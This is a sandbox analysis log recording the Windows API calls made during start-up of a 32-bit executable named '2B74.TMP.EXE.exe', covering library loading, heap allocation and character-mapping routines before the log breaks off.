# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 16.09.2019 06:39:14.074 Process: id = "1" image_name = "2b74.tmp.exe.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe" page_root = "0x4d6c2000" os_pid = "0x998" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x99c [0027.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x8387d500, dwHighDateTime=0x1d56c59)) [0027.110] GetCurrentThreadId () returned 0x99c [0027.110] GetCurrentProcessId () returned 0x998 [0027.110] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14736250001) returned 1 [0027.111] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0027.111] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.111] GetLastError () returned 0x57 [0027.111] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0027.115] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0027.115] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.115] GetLastError () returned 0x57 [0027.115] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0027.117] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.117] GetLastError () returned 0x57 [0027.117] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0027.117] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0027.117] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0027.118] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.118] GetLastError () returned 0x57 [0027.118] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0027.118] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0027.118] GetProcessHeap () returned 0x3840000 [0027.118] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.118] GetLastError () returned 0x57 [0027.118] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0027.118] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.118] GetLastError () returned 0x57 [0027.118] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0027.119] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0027.119] GetLastError () returned 0x57 [0027.119] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0027.119] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x364) returned 0x3854a50 [0027.119] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0027.119] SetLastError (dwErrCode=0x57) [0027.119] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xc00) returned 0x3854dc0 [0027.121] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x49abb0, hStdOutput=0xec599717, hStdError=0xfffffffe)) [0027.121] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0027.121] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0027.121] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0027.121] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0027.121] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0027.121] GetLastError () returned 0x57 [0027.121] SetLastError (dwErrCode=0x57) [0027.121] GetLastError () returned 0x57 [0027.121] SetLastError (dwErrCode=0x57) [0027.121] GetACP () returned 0x4e4 [0027.121] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x220) returned 0x3852708 [0027.121] IsValidCodePage (CodePage=0x4e4) returned 1 [0027.121] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0027.121] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0027.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ") returned 256 [0027.121] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0027.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ") returned 256 [0027.121] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0027.121] GetLastError () returned 0x57 [0027.122] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0027.122] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0027.122] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0027.122] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0027.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÿì\x0bìèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0027.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0027.122] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0027.122] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0027.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÿì\x0bìèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0027.122] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x80) returned 0x3852930 [0027.122] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c2bc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x76) returned 0x3852ae8 [0027.123] RtlInitializeSListHead (in: ListHead=0x4c2ad8 | out: ListHead=0x4c2ad8) [0027.123] GetLastError () returned 0x0 [0027.123] SetLastError (dwErrCode=0x0) [0027.123] GetEnvironmentStringsW () returned 0x38561c8* [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xaca) returned 0x3856ca0 [0027.123] FreeEnvironmentStringsW (penv=0x38561c8) returned 1 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x98) returned 0x3857778 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3e) returned 0x3857818 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x6c) returned 0x3857860 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x6e) returned 0x38578d8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x78) returned 0x3852b68 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x62) returned 0x3857950 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x38579c0 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x48) returned 0x38579f8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x28) returned 0x3857a48 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1a) returned 0x3855e90 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x4a) returned 0x3857a78 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x72) returned 0x3852be8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x3857ad0 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x3857b08 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1c) returned 0x3855eb8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xd2) returned 0x3857b40 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x7c) returned 0x3857c20 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x36) returned 0x3857ca8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3a) returned 0x3857ce8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x90) returned 0x3857d30 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x3857dc8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x3857df8 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x36) returned 0x3857e30 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x48) returned 0x3857e70 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x52) returned 0x3857ec0 [0027.123] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3c) returned 0x3857f38 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x82) returned 0x3858f20 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x3858fb0 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1e) returned 0x3855ee0 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2c) returned 0x38561c8 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x54) returned 0x3856200 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x52) returned 0x3856260 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2a) returned 0x38562c0 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3c) returned 0x3857f80 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x54) returned 0x38562f8 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x3856358 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x3856388 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x8c) returned 0x38563c0 [0027.124] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3856ca0 | out: hHeap=0x3840000) returned 1 [0027.124] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x800) returned 0x3856458 [0027.124] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0027.124] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49a8b9) returned 0x0 [0027.125] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, 